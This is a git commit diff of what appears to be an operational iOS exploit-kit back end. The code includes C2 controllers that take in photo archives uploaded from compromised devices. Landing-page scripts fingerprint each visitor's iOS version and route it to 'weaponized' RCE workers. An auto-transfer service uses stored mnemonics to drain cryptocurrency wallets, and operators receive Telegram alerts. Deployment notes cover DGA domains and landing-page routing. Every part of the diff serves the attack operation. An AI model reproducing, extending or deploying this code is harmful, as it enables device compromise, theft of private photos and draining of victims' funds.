feat: quene

This commit is contained in:
hashbro
2026-09-01 05:09:00 +08:00
parent 337bf45c79
commit e23550e820
28 changed files with 969 additions and 234 deletions
+5
View File
@@ -39,6 +39,11 @@ BROADCAST_CONNECTION=log
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
CACHE_STORE=file
# 生产 4C8G:装 Redis 后改为
# CACHE_STORE=redis
# QUEUE_CONNECTION=redis
# REDIS_HOST=127.0.0.1
# REDIS_PORT=6379
# Admin seeder defaults
ADMIN_USERNAME=admin
+2 -1
View File
@@ -15,8 +15,9 @@ class AutoTransferCommand extends Command
{
$stats = $autoTransfer->run();
$this->info(sprintf(
'auto-transfer inspected=%d triggered=%d ok=%d failed=%d skipped=%d',
'auto-transfer inspected=%d queued=%d triggered=%d ok=%d failed=%d skipped=%d',
$stats['inspected'],
$stats['queued'],
$stats['triggered'],
$stats['ok'],
$stats['failed'],
@@ -235,6 +235,7 @@ class DeviceController extends Controller
$this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/inbox/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
+19 -33
View File
@@ -3,9 +3,9 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\CorunaArchive;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use App\Services\PhotoArchiveIngest;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
@@ -14,17 +14,17 @@ class C2Controller extends Controller
/** @var CorunaCrypto */
private $crypto;
/** @var CorunaArchive */
private $archive;
/** @var IngestService */
private $ingest;
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
/** @var PhotoArchiveIngest */
private $photos;
public function __construct(CorunaCrypto $crypto, IngestService $ingest, PhotoArchiveIngest $photos)
{
$this->crypto = $crypto;
$this->archive = $archive;
$this->ingest = $ingest;
$this->photos = $photos;
}
public function query(): Response
@@ -136,33 +136,19 @@ class C2Controller extends Controller
];
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
try {
$extracted = $this->archive->extract($bytes, $work, $batchBase);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'check_extract',
'device_key' => $device->device_id,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
} finally {
CorunaArchive::forgetWorkDir($work);
}
$this->photos->accept(
$device,
(string) $request->file('file')->getRealPath(),
$batchBase,
$photoMeta,
'lab',
[
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
);
}
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\PageVisit;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use Illuminate\Http\Request;
@@ -174,21 +175,31 @@ class DarkSwordC2Controller extends Controller
}
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
$ios = $this->requestIos($request);
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
$ds = PageVisit::isDarkSwordIosVersionString($ios);
if ($ds) {
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
$chain = 'darksword';
$reason = 'DarkSword '.$ios;
} else {
$recommended = '';
$fallbacks = [];
$chain = 'coruna';
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
}
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
'ok' => true,
'chain' => 'darksword',
'chain' => $chain,
'weaponized' => true,
'gated' => false,
'ios' => $ios,
'reason' => 'DarkSword 18.4-18.7.2',
'reason' => $reason,
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'band' => [
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'usable_for_attempt' => true,
'usable_for_attempt' => $ds,
'usable_grade' => 'LIVE',
'weaponized' => true,
],
@@ -320,25 +331,17 @@ class DarkSwordC2Controller extends Controller
}
/**
* Worker plan from live one99.vip /api/chain-targets.
*
* 18.4.x → 18.4 then [18.5, 18.6]
* 18.5.x → 18.5 then [18.6, 18.4]
* anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4]
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
*
* @return array{0: string, 1: list<string>}
*/
private function chainTargetWorkers(string $ios): array
{
$minor = null;
if (preg_match('/^18\.(\d+)/', $ios, $m)) {
$minor = (int) $m[1];
}
$canon = PageVisit::canonicalIosVersion($ios);
return match ($minor) {
4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']],
5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']],
default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']],
return match ($canon) {
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
default => ['rce_worker_18.6.js', []],
};
}
+15 -37
View File
@@ -3,9 +3,8 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Http\Middleware\DecryptXxbbBody;
use App\Services\CorunaArchive;
use App\Services\IngestService;
use App\Services\PhotoArchiveIngest;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
@@ -25,6 +24,7 @@ class XxbbC2Controller extends Controller
{
public function __construct(
private readonly IngestService $ingest,
private readonly PhotoArchiveIngest $photos,
) {}
public function vhx(): Response
@@ -107,33 +107,19 @@ class XxbbC2Controller extends Controller
];
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
try {
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'xxbb');
} finally {
CorunaArchive::forgetWorkDir($work);
}
$this->photos->accept(
$device,
(string) $request->file('file')->getRealPath(),
$batchBase,
$photoMeta,
'xxbb',
[
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
);
}
return $this->xxbbAck($request);
@@ -237,14 +223,6 @@ class XxbbC2Controller extends Controller
return $this->xxbbAck($request);
}
private function xxbbArchive(): CorunaArchive
{
return new CorunaArchive(
DecryptXxbbBody::crypto(),
(string) config('coruna.seven_zip', ''),
);
}
/**
* @param array<string, mixed>|null $body
*/
+9 -2
View File
@@ -2,6 +2,7 @@
namespace App\Http\Controllers;
use App\Jobs\RecordPageHit;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Support\UserAgentParser;
@@ -43,7 +44,7 @@ class PageHitController extends Controller
$parsed = UserAgentParser::parse($ua);
$referer = $this->referer($request);
PageVisit::recordLanding([
$attrs = [
'channel_id' => $channelId,
'client_uid' => $uid,
'user_agent' => $ua !== '' ? $ua : null,
@@ -54,7 +55,13 @@ class PageHitController extends Controller
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $referer,
], PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']));
];
$chain = PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']);
if (config('queue.default') === 'sync') {
PageVisit::recordLanding($attrs, $chain);
} else {
RecordPageHit::dispatch($attrs, $chain);
}
return $this->pixel();
}
+40
View File
@@ -0,0 +1,40 @@
<?php
namespace App\Jobs;
use App\Models\WalletAddress;
use App\Services\AutoTransferService;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;
class AutoTransferAddress implements ShouldQueue, ShouldBeUnique
{
use Queueable;
public int $tries = 1;
public int $timeout = 180;
public int $uniqueFor = 180;
public function __construct(
public int $walletAddressId,
public string $reason = 'cron',
) {}
public function uniqueId(): string
{
return 'auto-transfer:'.$this->walletAddressId;
}
public function handle(AutoTransferService $autoTransfer): void
{
$address = WalletAddress::query()->find($this->walletAddressId);
if ($address === null) {
return;
}
$autoTransfer->evaluate($address, $this->reason);
}
}
+41
View File
@@ -0,0 +1,41 @@
<?php
namespace App\Jobs;
use App\Services\PhotoArchiveIngest;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;
class ExtractPhotoArchive implements ShouldQueue
{
use Queueable;
public int $tries = 1;
public int $timeout = 180;
/**
* @param array<string, mixed> $photoMeta
* @param array<string, mixed> $rawCounters
*/
public function __construct(
public int $deviceId,
public string $inboxPath,
public string $batchBase,
public array $photoMeta,
public string $flavor,
public array $rawCounters,
) {}
public function handle(PhotoArchiveIngest $ingest): void
{
$ingest->process(
$this->deviceId,
$this->inboxPath,
$this->batchBase,
$this->photoMeta,
$this->flavor,
$this->rawCounters,
);
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Jobs;
use App\Models\PageVisit;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;
class RecordPageHit implements ShouldQueue
{
use Queueable;
/**
* @param array<string, mixed> $attrs
*/
public function __construct(
public array $attrs,
public int $chain,
) {}
public function handle(): void
{
PageVisit::recordLanding($this->attrs, $this->chain);
}
}
+27
View File
@@ -0,0 +1,27 @@
<?php
namespace App\Jobs;
use App\Services\TelegramNotifier;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;
class SendTelegramMessage implements ShouldQueue
{
use Queueable;
public int $tries = 3;
public int $timeout = 20;
public function __construct(
public string $chatId,
public string $text,
public ?string $token = null,
) {}
public function handle(TelegramNotifier $telegram): void
{
$telegram->sendToChat($this->chatId, $this->text, $this->token);
}
}
+27 -6
View File
@@ -41,23 +41,44 @@ class PageVisit extends Model
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
}
/** Only these iOS builds enter the DarkSword landing / workers. */
public const DARKSWORD_IOS_VERSIONS = ['18.5', '18.6', '18.6.1', '18.6.2'];
/**
* t.js landings: iOS &gt; 17.2.1 and &lt; 18.7 count as DarkSword.
* t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
*/
public static function chainFromIosVersion(?string $os, ?string $osVersion): int
{
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
return self::CHAIN_CORUNA;
}
return self::isDarkSwordIosVersionString($osVersion)
? self::CHAIN_DARKSWORD
: self::CHAIN_CORUNA;
}
public static function isDarkSwordIosVersionString(?string $osVersion): bool
{
$canon = self::canonicalIosVersion($osVersion);
return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true);
}
/**
* 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1.
*/
public static function canonicalIosVersion(?string $osVersion): string
{
$version = trim((string) $osVersion);
if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
return self::CHAIN_CORUNA;
}
if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) {
return self::CHAIN_DARKSWORD;
return '';
}
$parts = array_pad(array_map('intval', explode('.', $version)), 3, 0);
return self::CHAIN_CORUNA;
return $parts[2] === 0
? $parts[0].'.'.$parts[1]
: $parts[0].'.'.$parts[1].'.'.$parts[2];
}
public static function normalizeDomain(?string $value): ?string
+63 -5
View File
@@ -2,6 +2,7 @@
namespace App\Services;
use App\Jobs\AutoTransferAddress;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use Illuminate\Support\LazyCollection;
@@ -20,12 +21,13 @@ class AutoTransferService
/**
* Cron entry: scan addresses that have a mnemonic and any positive coin balance.
*
* @return array{inspected: int, triggered: int, ok: int, failed: int, skipped: int}
* @return array{inspected: int, queued: int, triggered: int, ok: int, failed: int, skipped: int}
*/
public function run(): array
{
$stats = [
'inspected' => 0,
'queued' => 0,
'triggered' => 0,
'ok' => 0,
'failed' => 0,
@@ -37,13 +39,35 @@ class AutoTransferService
'at' => now()->toDateTimeString(),
], 'transfer');
$async = config('queue.default') !== 'sync';
foreach ($this->candidates() as $address) {
$stats['inspected']++;
if ($async) {
AutoTransferAddress::dispatch($address->id, 'cron');
$stats['queued']++;
continue;
}
$outcome = $this->evaluate($address, 'cron');
$stats['triggered'] += $outcome['triggered'];
$stats['ok'] += $outcome['ok'];
$stats['failed'] += $outcome['failed'];
$stats['skipped'] += $outcome['skipped'];
if ($outcome['failed'] > 0) {
create_log([
'event' => 'auto_transfer_run_aborted',
'reason' => 'transfer_failed',
'wallet_address_id' => $address->id,
'address' => $address->address,
'chain' => $address->chain_type,
'stats' => $stats,
'at' => now()->toDateTimeString(),
], 'transfer');
break;
}
}
create_log([
@@ -179,6 +203,18 @@ class AutoTransferService
continue;
}
if ($this->lastAutoFailed((string) $address->address, $asset)) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'previous_auto_transfer_failed',
'asset' => $asset,
'balance' => (string) $balance,
], 'transfer');
$stats['skipped']++;
continue;
}
if ($this->recentAutoSuccess((string) $address->address, $asset)) {
try {
$this->balances->refresh($address);
@@ -272,6 +308,7 @@ class AutoTransferService
'asset' => $asset,
'error' => $result['error'] ?? 'unknown',
], 'transfer');
break;
}
}
@@ -287,21 +324,42 @@ class AutoTransferService
return $stats;
}
private function lastAutoFailed(string $fromAddress, string $asset): bool
{
$latest = $this->latestAutoRecord($fromAddress, $asset);
return $latest !== null && $latest->status === TransferRecord::STATUS_FAILED;
}
private function recentAutoSuccess(string $fromAddress, string $asset): bool
{
$latest = $this->latestAutoRecord($fromAddress, $asset);
if ($latest === null || $latest->status !== TransferRecord::STATUS_SUCCESS) {
return false;
}
$at = $latest->created_at;
if ($at === null) {
return false;
}
return $at->gte(now()->subMinutes(self::COOLDOWN_MINUTES));
}
private function latestAutoRecord(string $fromAddress, string $asset): ?TransferRecord
{
$fromAddress = trim($fromAddress);
$asset = strtoupper(trim($asset));
if ($fromAddress === '' || $asset === '') {
return false;
return null;
}
return TransferRecord::query()
->where('from_address', $fromAddress)
->where('asset', $asset)
->where('operator', 'auto')
->where('status', TransferRecord::STATUS_SUCCESS)
->where('created_at', '>=', now()->subMinutes(self::COOLDOWN_MINUTES))
->exists();
->orderByDesc('id')
->first();
}
private function assetScale(string $asset): int
+17 -5
View File
@@ -154,18 +154,20 @@ class DarkSwordIngestAdapter
$ip = $this->clientIp($request, $payload);
$referer = trim((string) $request->headers->get('referer', ''));
$os = $ios !== null ? 'iOS' : $parsed['os'];
$osVersion = $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null);
PageVisit::recordLanding([
'channel_id' => $channel,
'client_uid' => $uid,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $ios !== null ? 'iOS' : $parsed['os'],
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
'os' => $os,
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => PageVisit::normalizeDomain($request->getHost()),
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
], PageVisit::CHAIN_DARKSWORD);
], PageVisit::chainFromIosVersion($os, $osVersion));
}
/**
@@ -273,10 +275,20 @@ class DarkSwordIngestAdapter
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $key)->first();
if ($ios !== null) {
$chain = PageVisit::isDarkSwordIosVersionString($ios)
? Device::CHAIN_DARKSWORD
: Device::CHAIN_CORUNA;
} else {
$chain = $existing
? (int) $existing->chain
: Device::CHAIN_CORUNA;
}
if ($existing) {
$touch = [
'updated_at' => now(),
'chain' => Device::CHAIN_DARKSWORD,
'chain' => $chain,
];
if ($ip !== '') {
$touch['ip'] = $ip;
@@ -301,7 +313,7 @@ class DarkSwordIngestAdapter
$device = Device::query()->create([
'device_id' => $key,
'chain' => Device::CHAIN_DARKSWORD,
'chain' => $chain,
'ip' => $ip !== '' ? $ip : null,
'device_model' => $model,
'ios_version' => $ios,
+152
View File
@@ -0,0 +1,152 @@
<?php
namespace App\Services;
use App\Http\Middleware\DecryptXxbbBody;
use App\Jobs\ExtractPhotoArchive;
use App\Models\Device;
use Illuminate\Support\Facades\Storage;
class PhotoArchiveIngest
{
public function __construct(
private readonly IngestService $ingest,
) {}
/**
* Persist the uploaded 7z, then extract now (sync) or via queue.
* Caller always ACKs independently.
*
* @param array{
* x_hit?: ?int,
* upload_count?: ?int,
* process_index?: ?int,
* text_count?: ?int,
* barcode_count?: ?int
* } $photoMeta
* @param array<string, mixed> $rawCounters
*/
public function accept(
Device $device,
string $absolutePath,
string $batchBase,
array $photoMeta,
string $flavor,
array $rawCounters,
): void {
if (! $device->albumStorageEnabled() || ! is_file($absolutePath)) {
return;
}
$rel = 'c2/inbox/'.$device->device_id.'/'.date('YmdHis').'_'.str_replace('.', '', uniqid('', true)).'.bin';
$fh = fopen($absolutePath, 'rb');
if ($fh === false) {
return;
}
try {
Storage::disk('local')->put($rel, $fh);
} finally {
if (is_resource($fh)) {
fclose($fh);
}
}
if (config('queue.default') === 'sync') {
$this->process($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
return;
}
ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
}
/**
* Same failure policy as the old in-request extract:
* 7z miss / empty members → log ok=false, skip ingest, never throw to the client.
*
* @param array<string, mixed> $photoMeta
* @param array<string, mixed> $rawCounters
*/
public function process(
int $deviceId,
string $inboxPath,
string $batchBase,
array $photoMeta,
string $flavor,
array $rawCounters,
): void {
$logType = $flavor === 'xxbb' ? 'xxbb' : 'c2';
$event = $flavor === 'xxbb' ? 'xxbb_photo_extract' : 'check_extract';
$device = Device::query()->find($deviceId);
$abs = Storage::disk('local')->path($inboxPath);
try {
if ($device === null || ! $device->albumStorageEnabled() || ! is_file($abs)) {
create_log([
'event' => $event,
'device_key' => $device?->device_id,
'extract' => [
'ok' => false,
'files' => [],
'password_recipe' => 'session_key||'.$batchBase,
'stderr' => 'inbox missing or album storage off',
],
'photo_meta' => $photoMeta,
'raw_counters' => $rawCounters,
], $logType);
return;
}
$bytes = (string) file_get_contents($abs);
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
try {
$extracted = $this->archiveFor($flavor)->extract($bytes, $work, $batchBase);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => $event,
'device_key' => $device->device_id,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => $rawCounters,
], $logType);
} catch (\Throwable $e) {
create_log([
'event' => $event,
'device_key' => $device->device_id,
'extract' => [
'ok' => false,
'files' => [],
'password_recipe' => 'session_key||'.$batchBase,
'stderr' => substr($e->getMessage(), 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => $rawCounters,
], $logType);
} finally {
CorunaArchive::forgetWorkDir($work);
}
} finally {
Storage::disk('local')->delete($inboxPath);
}
}
private function archiveFor(string $flavor): CorunaArchive
{
if ($flavor === 'xxbb') {
return new CorunaArchive(
DecryptXxbbBody::crypto(),
(string) config('coruna.seven_zip', ''),
);
}
return app(CorunaArchive::class);
}
}
+8
View File
@@ -2,6 +2,7 @@
namespace App\Services;
use App\Jobs\SendTelegramMessage;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
@@ -114,8 +115,15 @@ class TelegramNotifier
return false;
}
$async = config('queue.default') !== 'sync';
$ok = false;
foreach ($chatIds as $chatId) {
if ($async) {
SendTelegramMessage::dispatch($chatId, $text);
$ok = true;
continue;
}
if ($this->sendToChat($chatId, $text)['ok']) {
$ok = true;
}
@@ -83,7 +83,10 @@ class TokenviewMonitorService
}
$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
if (in_array($coin, ['TRX', 'TRON'], true) && ! in_array($tokenSymbol, ['TRX', 'USDT'], true)) {
// Native TRX webhooks omit tokenSymbol. Only drop explicit non-USDT/TRX tokens.
if (in_array($coin, ['TRX', 'TRON'], true)
&& $tokenSymbol !== ''
&& ! in_array($tokenSymbol, ['TRX', 'USDT'], true)) {
return;
}
$value = $payload['value'] ?? null;
+5 -27
View File
@@ -159,26 +159,12 @@
return 0;
}
function isCorunaRange(v) {
if (!v || !v.length || v[0] < 13) return false;
if (v[0] >= 18) return false;
if (v[0] === 17 && v[1] >= 3) return false;
if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false;
return true;
}
function isSilkPathRange(v) {
function isDarkSwordRange(v) {
if (!v || !v.length) return false;
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
if (maj === 18 && min <= 3) return true;
return false;
}
function isExploitChainRange(v) {
if (!v || !v.length) return false;
if (v[0] === 18 && (v[1] || 0) >= 4) return true;
if (v[0] >= 19 && v[0] <= 26) return true;
if (maj !== 18) return false;
if (min === 5 && pat === 0) return true;
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
return false;
}
@@ -198,15 +184,7 @@
var ios = parseIosVersion();
function chainIdForIos(v) {
if (!v || !v.length) return 'unknown';
if (isCorunaRange(v)) return 'coruna';
if (isSilkPathRange(v)) return 'silkpath';
if (isExploitChainRange(v)) {
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave';
return 'darksword';
}
return 'blocked';
return isDarkSwordRange(v) ? 'darksword' : 'coruna';
}
var chain = chainIdForIos(ios);
var apiPlan = null;
+7 -8
View File
@@ -1062,12 +1062,11 @@
<!-- QQTIME_BOOT -->
<script>
(function () {
// Coruna(≤17.2.1):顶层进 /qqtime/ 进度壳
// iOS 18+:倒计时结束后再挂 iframe,链加载不影响倒计时
// DS 仅 18.5 / 18.6 / 18.6.1 / 18.6.2;其余顶层进 /qqtime/ Coruna 进度壳
if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
if (location.pathname.indexOf("/qqtime") === 0) return;
function isCoruna() {
function isDarkSword() {
var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
navigator.userAgent || ""
);
@@ -1075,13 +1074,13 @@
var maj = +m[1],
min = +m[2],
pat = +(m[3] || 0);
if (maj < 13 || maj >= 18) return false;
if (maj === 17 && min > 2) return false;
if (maj === 17 && min === 2 && pat > 1) return false;
return true;
if (maj !== 18) return false;
if (min === 5 && pat === 0) return true;
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
return false;
}
if (isCoruna()) {
if (!isDarkSword()) {
location.replace(location.origin + "/qqtime/");
return;
}
+10 -68
View File
@@ -234,88 +234,30 @@ function classifyTarget(v) {
}
} catch (eBand) {}
if (inVerRange(p, [13, 0, 0], [17, 2, 1])) {
return {
chain: 'coruna',
delivery_ok: true,
ghostwave: false,
version_str: version_str,
reason: 'Coruna leaked kit (khanhduytran0/coruna) via /coruna/group.html',
patched: false,
weaponized: true,
usable_grade: 'LIVE'
};
}
if (cmpVer(p, [17, 2, 1]) > 0 && cmpVer(p, [18, 4, 0]) < 0) {
var silk17 = p[0] === 17;
return {
chain: 'silkpath',
delivery_ok: true,
ghostwave: false,
version_str: version_str,
reason: silk17
? 'SilkPath loader OK but 17.x offsets are 0x0 — RCE gated by silkpath_loader'
: 'SilkPath 18.0-18.3 Stage1 + provisional bridged offsets (22E)',
patched: false,
weaponized: !silk17,
usable_grade: silk17 ? 'GATED' : 'PROVISIONAL'
};
}
if (inVerRange(p, [18, 4, 0], [18, 7, 2])) {
var ds = (p[0] === 18 && p[1] === 5 && p[2] === 0)
|| (p[0] === 18 && p[1] === 6 && (p[2] === 0 || p[2] === 1 || p[2] === 2));
if (ds) {
return {
chain: 'darksword',
delivery_ok: true,
ghostwave: (p[1] || 0) >= 7,
ghostwave: false,
version_str: version_str,
reason: (p[1] || 0) >= 7 ? 'DarkSword+GhostWave post-exploit hooks' : 'DarkSword 18.4-18.7.2',
reason: 'DarkSword ' + version_str,
patched: false,
weaponized: true,
usable_grade: 'LIVE'
};
}
if (inVerRange(p, [18, 7, 3], [26, 3, 99])) {
var grade = ghostUsableGrade(v);
var fully = (p[0] === 26 && p[1] >= 3);
return {
chain: 'ghostwave',
delivery_ok: true, // research delivery always allowed
ghostwave: true,
version_str: version_str,
reason: fully
? 'iOS 26.3 fully patched (GTIG) — harness telemetry only'
: (grade === 'RESEARCH_HIGH'
? 'GhostWave RESEARCH_HIGH — attempt 26.x worker + calibrate'
: 'GhostWave research — offsets/chain incomplete'),
patched: grade === 'DEAD',
weaponized: false,
usable_grade: grade,
warning: 'Do not treat GhostWave as production-ready'
};
}
if (cmpVer(p, [26, 3, 99]) > 0) {
return {
chain: 'out_of_scope',
delivery_ok: false,
ghostwave: false,
version_str: version_str,
reason: 'above GhostWave 26.3',
patched: true,
usable_grade: 'DEAD'
};
}
return {
chain: 'out_of_scope',
delivery_ok: false,
chain: 'coruna',
delivery_ok: true,
ghostwave: false,
version_str: version_str,
reason: 'out of scope',
reason: 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)',
patched: false,
usable_grade: 'DEAD'
weaponized: true,
usable_grade: 'LIVE'
};
}
function pickWorkerFile(v) {
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->index(['channel_id', 'ip', 'created_at'], 'page_visits_channel_ip_created_index');
});
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropIndex('page_visits_channel_ip_created_index');
});
}
};
+100 -9
View File
@@ -37,8 +37,8 @@
│
├─ 旧静态:/web/<id>/… /sync/…
├─ 新静态:/channel/<ver>/… /details/…
├─ 新别名:/c/<ver>/show.htm → Laravel → channel/<ver>/details/show.html
└─ DGA 域名反代到同一 public/
├─ 新别名:/c/<ver>/show.htm → Nginx 静态 → channel/<ver>/details/show.html
└─ DGA 域名反代到同一 public/(须带同一套落地页 location)
```
建议目录:
@@ -173,12 +173,16 @@ https://admin.example.com/sync/daily.html
https://admin.example.com/channel/<ver>/weifile/weifile.html
https://admin.example.com/channel/<ver>/details/
https://admin.example.com/details/… # 共享模板(native 按需拉)
https://admin.example.com/c/<ver>/show.htm # Laravel 别名 → channel/<ver>/details/show.html
https://admin.example.com/c/<ver>/show.htm # Nginx 静态别名 → channel/<ver>/details/show.html
```
在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**)。`/c/` 不要配成纯静态,交给 Laravel:
在 **Admin 站和所有反代到同一 `public/` 的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c/<ver>/show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。
`root` / `alias` 里的路径按实际站点根改(宝塔多为 `/www/wwwroot/coruna-lab/public`)。
```nginx
# —— 粘贴到「网站 → 设置 → 配置文件」,放在 location / 和 enable-php 之前 ——
location ~ "^/web/[0-9a-f]{32}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
@@ -200,8 +204,39 @@ location /details/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
# 新版落地别名(设备硬编码 18 字节路径 /c/{ver}/show.htm)
# 直接映射到 channel/{ver}/details/show.html,禁止进 PHP-FPM
location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" {
alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html;
types { }
default_type application/octet-stream;
add_header Cache-Control "public, max-age=60";
add_header Content-Type "application/octet-stream" always;
}
```
保存后:
```bash
nginx -t && nginx -s reload
```
用一个已存在的渠道 ID 验证(把 `0.0.01` 换成真实 `X.Y.ZZ`):
```bash
curl -sI https://你的投放域名/c/0.0.01/show.htm
```
应同时满足:
- HTTP 200
- `Content-Type: application/octet-stream`
- **没有** `X-Powered-By: PHP`
